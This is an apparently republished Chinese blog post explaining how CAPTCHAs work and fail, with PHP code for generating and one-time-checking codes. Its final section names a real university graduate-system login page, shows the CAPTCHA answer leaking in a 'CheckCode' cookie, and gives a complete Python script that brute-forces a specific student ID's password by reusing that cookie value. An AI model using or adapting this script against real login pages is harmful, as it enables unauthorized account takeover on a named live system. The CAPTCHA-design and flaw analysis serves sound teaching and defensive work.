Jacky扯淡系列 – 驗證碼

  • 1 驗證碼的用途

防止惡意用戶的csrf,好比一些bot的重複請求,相似的有密碼破解等操做。
可是驗證碼這個東西會下降用戶的體驗度,所以不能將其做爲必備的防禦措施。 php

  • 2 常見的驗證碼形式

一般的驗證碼內容有:數字,字母,噁心一點兒有中文,更有甚者用廣告當驗證碼,好比某網盤的。
而驗證碼驗證方式:通常是要求用戶重複輸入相同的內容,特殊一點兒的驗證碼會採用問答的形式。
1_thumb
這個是QQ的互聯登錄時的驗證碼
2_thumb
這個是security.tencent.com的驗證碼 python

從上面的圖能夠看出來,驗證碼爲了防止被圖像識別通常都會在驗證碼生成的過程當中,會加入噪點和對圖片中的文字進行變形處理來增長自動化識別的難度。 算法

  • 3 驗證碼實現的原理

驗證碼的交互過程以下:數據庫

image_thumb1
圖3 交互過程圖編程

系統在生成驗證碼時主要的操做有:安全

  1. 利用隨機算法(如PHP中的mt_rand函數)從指定內容模版中選取出指定長度的字符串,記爲$code
  2. 將$code以圖片的形式展示給用戶,PHP中生成圖片可使用GD庫
  3. 將$code在服務端保留存放,一般放入用戶對應的session中。
    $_SESSION['verifycode']=$code

下面的生成驗證碼的代碼,是從網上扣來的,做者是@author iranw  <wang_wenguan@yeah.net> cookie

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public  function  createimg( $width =100, $height =30, $length =4){
        $this ->width = $width ;
        $this ->height = $height ;
        $this ->lenght = $length ;
        $this ->im = imagecreate( $this ->width, $this ->height);  
   
        $this ->SetBgColor();     //設置背景色
        $this ->SetDot();         //設置干擾點
        $this ->SetLine();            //設置干擾線
        $this ->GetRandStr();     //獲取隨機字符    
   
        for ( $i =0; $i < $this ->lenght; $i ++){
            $c_position  = ! $i ? $this ->mar_left: $c_position + $this ->pad;
            $color  = ImageColorAllocate ( $this ->im, mt_rand ( 0, 100 ), mt_rand ( 0, 100 ), mt_rand ( 0, 100 ) ); //字符隨即顏色
            ImageChar ( $this ->im, $this ->fontsize, $c_position , $this ->mar_top, $this ->randstr[ $i ], $color  ); //繪字符
        }
        Imagegif ( $this ->im );
        ImageDestroy ( $this ->im );
 
        return  $this ->randstr;
    }
  • 4 驗證碼安全隱患

從原理來看,驗證碼可能存在的問題有:session

  1. 驗證碼生成時隨機算法的健壯性,在一些編程語言裏面random函數實際上僞隨機,也就是上一次random和下一次random之間是可以推導出來,那麼用戶在知道某一次的驗證碼後,徹底能夠推導出以後全部的驗證碼。
  2. 驗證碼要具有良好的防止OCR識別的能力, 通常圖像識別都是先經過二值化,而後高斯處理去噪點,最後邊緣檢測和分割。所以一個強壯驗證碼應該在生成的時候須要對文字進行變形,文字和文字之間最好能有重疊,這樣來加大圖像分割的難度。
  3. 驗證碼的答案必定要保存在用戶不可見的位置,一般是寫入到用戶的session中,也能夠寫到一些內存數據庫中,必定不能在用戶頁面中插入答案,無論這個頁面元素是否可見,也不能將驗證碼的答案寫到用戶的Cookie中,由於上述兩個地方都是在用戶側,用戶想要查看是確定能看到的,因此這個驗證碼對應的答案必定要存放在服務端。
  4. 最後一個問題屬於邏輯問題,驗證碼必定是一次性的,用完了立馬註銷。也就是圖3中的步驟4,若是系統沒有步驟4,那麼惡意用戶能夠在一次請求得到驗證碼後,使用該驗證碼不斷的發送請求,那麼系統設置驗證碼的目的也就形同虛設了。惡意用戶的攻擊流程以下:
    image_thumb4
    圖4 惡意用戶攻擊流程圖
    從上圖中咱們能夠看到用戶在第二次請求時(步驟4),因爲沒有通過步驟1和步驟2,所以系統中的驗證碼並無改變,所以用戶才能用上一次的驗證碼進行惡意請求。所以咱們能夠實現一個方法不管驗證碼是否正確,只要比較一次後就必須銷燬原來的驗證碼:
    ?
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
        /**
         * @param $code 用戶提交的驗證碼
         * @return bool 驗證碼正確返回true
         */
        public  function  checkCode( $code ){
            $flag  = false;
            //比較驗證碼
            if (isset( $_SESSION [ 'verifycode' ]))
                $flag  = strtolower ( $_SESSION [ 'verifycode' ]) == strtolower ( $code );
            //清空已有的驗證碼信息
            unset( $_SESSION [ 'verifycode' ]);
            return  $flag ;
        }
  • 5 實踐利用

因爲手上恰好遇到了一個站點有這樣的問題,也就是驗證碼存在cookie中,並且沒有有效銷燬的狀況,那麼接下來就說一下針對這樣的狀況如何利用。app

有問題的站點:http://gd.whut.edu.cn/etm/ETMDCP/dom

請求驗證碼的HTTP請求:http://gd.whut.edu.cn/etm/ETMDCP/other/Code.aspx?0.8546793526038527

Cookie接收和發送如圖:

image_thumb6
圖5 接收到的Cookie

驗證碼如圖:

image_thumb8
圖6 驗證碼

所以在登陸破解的時候根本不須要關注驗證碼的圖片,只須要查看響應頭中的Set-Cookie中CheckCode字段就能夠。咱們在破解密碼過程當中只須要不斷髮送用戶名+密碼+這個CheckCode就能夠了。下面是我寫的一段python代碼來爆破密碼的腳本:


?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/bin/env python
#coding:utf-8
'''
Author: HuangJacky
Description: 破解研究生系統登陸密碼
Time: 2013-06-18
Email: huangjacky@163.com
QQ: 4462676
'''
 
import  sys
import  httplib2
import  urllib
import  time
 
__author__ =  'fiend'
 
reload (sys)
sys.setdefaultencoding( "utf-8" ) #@UndefinedVariable
 
 
headers =  {
    'Host' : 'gd.whut.edu.cn' ,
    'Cookie' : 'ASP.NET_SessionId=j1ukxkeurn31yh45e21r3r55; CheckCode=6245' ,
    'Content-Type' : 'application/x-www-form-urlencoded'
}
v =  '密碼錯誤!'
data =  {
    '__VIEWSTATE' : '/wEPDwUKMTMyOTgyMjUxMg8WBB4RTG9naW5UaW1lTGltaXRTZXQFBUNMT1NFHghmaWxlUGF0aAUbRTpcZXRtXEVUTURDUFxMaW5zX3dobGcuaW5pFgICAw9kFgICAQ8WAh4Fc3R5bGUFiQFiYWNrZ3JvdW5kOnVybChvdGhlci9UaXRsZVBpYy9oZWFkMjAxMzA0MTAuanBnKSBuby1yZXBlYXQ7IHdpZHRoOjU4MnB4OyBoZWlnaHQ6MzE0cHg7IG1hcmdpbjowIGF1dG87IG1hcmdpbi10b3A6MjIzcHg7IHRleHQtYWxpZ246Y2VudGVyOxYEAgcPEGQPFgRmAgECAgIDFgQQBQnnrqHnkIblkZgFAjAxZxAFBuWtpueUnwUCMDNnEAUG5a+85biIBQIwN2cQBQzor4TlrqHkuJPlrrYFAjA4Z2RkAgsPDxYCHgRUZXh0BQMwMTBkZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAQUJYnRuX2xvZ2luloNQd+iL1vSdm+yjJz5XwgAEOYU=' ,
    '__EVENTVALIDATION' : '/wEWCQLhtbHJCgL4hPDxAQL7w4LuCgLLm6aZAgKOhqnMBgKOhpHMBgKOhoHMBgKOhsXPBgLjl+vcBIxSBFKNaX7oywTJkaGHdttr98yb' ,
    'txt_User' : '學號' ,
    'txt_Pass' :'密碼',
    'txt_Code' :'驗證碼',
    'drp_type' : '03' ,
    'btn_login.x' : '35' ,
    'btn_login.y' : '5'
}
 
 
h =  httplib2.Http()
 
def  test(sno,pwd):
    data[ 'txt_User' ] =  sno
    data[ 'txt_Pass' ] =  pwd
    print  sno, ':' ,pwd
    resp,content =  h.request(url, 'POST' ,urllib.urlencode(data),headers)
    if  resp.status = =  200 :
        if  content.find(v, 5000 ) = = - 1 :
            print  'password is ' ,pwd
            return  True
        else :
            return  False
    elif  resp.status = =  302 :
        print  'password is ' ,pwd
        return  True
    else :
        print  resp
        return  False
 
def  init(code,cookie = None ):
    if  cookie:
        headers[ 'Cookie' ] =  cookie
    data[ 'txt_Code' ] =  code
 
if  __name__ = =  '__main__' :
    init( 2589 , 'ASP.NET_SessionId=j1ukxkeurn31yh45e21r3r55; CheckCode=4427' )
    sno =  '1049721101334'
    print  'Now Cracking is ' ,sno
    i =  1
    while  i < 9999999 :
        nn,dd =  divmod (i, 100 )
        if  dd = =  0 :
            time.sleep( 2 )
        s =  str (i)
        pwd =  s
        if  test(sno,pwd):
            break
        i + = 1
        time.sleep( 0.1 )
    print  'done'

我是HuangJacky,今天就到這裏了。

相關文章
相關標籤/搜索